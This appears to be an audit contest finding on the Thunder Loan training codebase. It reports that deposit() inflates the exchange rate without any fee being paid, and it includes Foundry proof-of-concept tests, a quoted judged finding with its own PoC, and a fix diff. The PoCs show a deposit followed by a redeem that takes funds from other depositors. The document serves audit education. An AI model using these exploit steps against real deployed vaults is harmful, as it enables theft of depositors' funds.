Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

deposit() inflates the exchange rate without any real fee — a depositor redeems more than they deposited, and the AssetToken becomes insolvent

wolzies

Root + Impact

Description

deposit() calls assetToken.updateExchangeRate(calculatedFee) on every deposit:

@> function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
@> AssetToken assetToken = s_tokenToAssetToken[token];
@> uint256 exchangeRate = assetToken.getExchangeRate();
@> uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
@> emit Deposit(msg.sender, token, amount);
@> assetToken.mint(msg.sender, mintAmount);
@> uint256 calculatedFee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(calculatedFee);
@> token.safeTransferFrom(msg.sender, address(assetToken), amount);
@> }

updateExchangeRate raises the rate by the fee:

@> uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

In a flash loan that fee is paid by the borrower (they must return amount + fee), so raising the rate there is backed by real value. In a deposit, the fee is just a number — nobody pays it. The depositor mints shares at the OLD rate, the rate rises, and they immediately redeem MORE underlying than they deposited: a risk-free profit taken from the other depositors. Repeated, the rate is inflated beyond the actual backing, so the AssetToken becomes insolvent — a lone depositor cannot even redeem their own deposit in full, because the inflated rate promises more underlying than the contract holds.

The upgraded contract confirms this was the bug: ThunderLoanUpgraded removes the updateExchangeRate call from deposit() entirely.

Risk

Likelihood: High — any depositor can trigger it with an ordinary deposit followed by an immediate redeem; no special setup or privilege is needed.

Impact: High — depositors extract value they did not pay for, draining the other depositors' funds, and the AssetToken's exchange rate is inflated beyond its backing so later redeemers cannot be paid in full.

Proof of Concept

A victim provides liquidity, the attacker deposits 1000, and immediately redeems more than 1000. A lone depositor's full redemption reverts because the inflated rate over-promises.

function test_H1_depositInflatesRate_ProfitOnRedeem() public {
address victim = makeAddr("victim");
uint256 victimDeposit = 1000 ether;
uint256 attackerDeposit = 1000 ether;
​
tokenA.mint(victim, victimDeposit);
tokenA.mint(attacker, attackerDeposit);
​
// Victim provides liquidity first.
vm.startPrank(victim);
tokenA.approve(address(thunderLoan), victimDeposit);
thunderLoan.deposit(tokenA, victimDeposit);
vm.stopPrank();
​
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 rateBefore = assetToken.getExchangeRate();
​
// Attacker deposits, the rate inflates, then immediately redeems.
vm.startPrank(attacker);
tokenA.approve(address(thunderLoan), attackerDeposit);
thunderLoan.deposit(tokenA, attackerDeposit);
​
uint256 rateAfterDeposit = assetToken.getExchangeRate();
assertGt(rateAfterDeposit, rateBefore, "deposit inflated the exchange rate");
​
uint256 assetBalance = assetToken.balanceOf(attacker);
thunderLoan.redeem(tokenA, assetBalance);
vm.stopPrank();
​
uint256 redeemed = tokenA.balanceOf(attacker);
assertGt(redeemed, attackerDeposit, "attacker redeemed MORE than deposited");
}
​
function test_H1_singleDepositorCannotRedeemInFull() public {
// With no other liquidity, the inflated rate promises more
// underlying than the contract holds, so a full redemption
// reverts -- the depositor's own funds are stuck.
uint256 depositAmount = 100 ether;
tokenA.mint(attacker, depositAmount);
​
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
​
vm.startPrank(attacker);
tokenA.approve(address(thunderLoan), depositAmount);
thunderLoan.deposit(tokenA, depositAmount);
​
uint256 assetBalance = assetToken.balanceOf(attacker);
// The inflated rate values the shares above the 100 ether
// the contract actually holds.
uint256 promised = (assetBalance * assetToken.getExchangeRate()) / 1e18;
assertGt(promised, depositAmount, "shares promise more than the contract holds");
assertEq(tokenA.balanceOf(address(assetToken)), depositAmount, "contract only holds the deposit");
​
vm.expectRevert("ERC20: transfer amount exceeds balance");
thunderLoan.redeem(tokenA, assetBalance);
vm.stopPrank();
}

Recommended Mitigation

Do not update the exchange rate in deposit() — only raise it when a flash-loan fee is actually paid (as ThunderLoanUpgraded does).

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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